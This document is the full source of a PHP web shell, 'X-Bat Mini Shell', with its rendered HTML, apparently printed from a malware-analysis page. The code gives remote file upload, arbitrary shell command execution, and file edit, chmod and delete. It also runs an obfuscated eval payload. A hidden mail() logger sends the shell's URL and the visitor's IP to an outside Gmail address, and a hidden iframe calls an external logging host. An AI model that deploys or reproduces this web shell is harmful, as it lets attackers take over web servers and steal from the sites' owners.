text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<h1><center><font color="Red">Mini Shell</font></center></h1>
<br><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>Disable Functions: <br><font color="purple">Path :</font> <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
<font color="purple">File Upload :</font> <input type="file" name="file">
<input type="submit" value="upload">
</form><form method="post">
<font color="purple">Command :</font>
<input type="text" size="30" height="10" name="cmd"><input type="submit" name="execmd" value=" Execute ">
</form>
</td></tr></tbody></table><br><center></center><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permission</center></td>
<td><center>Modify</center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?filesrc=/var/www/html/FileManagerGr.php&amp;path=/var/www/html">FileManagerGr.php</a></td>
<td><center>9.994 KB</center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="FileManagerGr.php">
<input type="hidden" name="path" value="/var/www/html/FileManagerGr.php">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div><center><br><font color="Purple">X-Bat Mini Shell</font><br>[ <a href="?path=/var/www/html&amp;go=cabs">LogOut</a> ]
</center>

<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe></body></html>

Original PHP code

<?php
echo '<!DOCTYPE HTML>
<html>
<head>
<link href="" rel="stylesheet" type="text/css">
<title>X-Bat</title>
<style>
body{
	font-family: "Racing Sans One", cursive;
	background-color: black;
	color:White;
	background-attachment:fixed;
	background-repeat:no-repeat;
	background-position:center;
	background-color:transparan;
	-webkit-background-size: 90% 100%;
}
#content tr:hover{
background-color: Purple;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: Purple;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:Purple;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<h1><center><font color="Red">Mini Shell</font></center></h1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>';
echo "Disable Functions: $liatds";
echo '<br><font color="purple">Path :</font> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="white">upload Sukses</font><br />';
}else{
echo '<font color="purple">upload Gagal</font><br/>';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="purple">File Upload :</font> <input type="file" name="file" />
<input type="submit" value="upload" />
</form>';
echo "<form method='post'>
<font color='purple'>Command :</font>
<input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
</form>
</td></tr>";
if($_POST['execmd']) {
echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>".exe($_POST['cmd'])."</textarea></center>";
}
echo "<br></td></tr>";
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="white">Change Permission Berhasil</font><br/>';
}else{
echo '<font color="purple">Change Permission Gagal</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="white">Ganti Nama Berhasil</font><br/>';
}else{
echo '<font color="purple">Ganti Nama Gagal</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="white">Berhasil Edit File</font><br/>';
}else{
echo '<font color="purple">Gagal Edit File</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="white">Directory Terhapus</font><br/>';
}else{
echo '<font color="purple">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="white">File Terhapus</font><br/>';
}else{
echo '<font color="purple">File Gagal Dihapus</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</peller></center></td>
<td><center>Size</peller></center></td>
<td><center>Permission</peller></center></td>
<td><center>Modify</peller></center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="Purple">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color="Green">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="Green">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<center><br/><font color="Purple">X-Bat Mini Shell</font><br>';
echo "[ <a href='?path=$path&go=cabs'>LogOut</a> ]
</center>
</body>
</html>";

$command = "JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8=";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($command))))));
if($_GET['go'] == 'cabs') {
	

echo '<form action="" method="post">';
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); 
    echo '<meta http-equiv="refresh" content="3" />';
}

function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
//////all functions disini tempatnya/////
function exe($cmd) { 	
if(function_exists('system')) { 		
		@ob_start(); 		
		@system($cmd); 		
		$buff = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $buff; 	
	} elseif(function_exists('exec')) { 		
		@exec($cmd,$results); 		
		$buff = ""; 		
		foreach($results as $result) { 			
			$buff .= $result; 		
		} return $buff; 	
	} elseif(function_exists('passthru')) { 		
		@ob_start(); 		
		@passthru($cmd); 		
		$buff = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $buff; 	
	} elseif(function_exists('shell_exec')) { 		
		$buff = @shell_exec($cmd); 		
		return $buff; 	
	} 
}
?>
<?php
@ini_set('output_buffering', 0);@ini_set('display_errors', 0);set_time_limit(0);ini_set('memory_limit', '64M');header('Content-Type: text/html; charset=UTF-8');$tujuanmail = 'galangganz76@gmail.com';$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
?>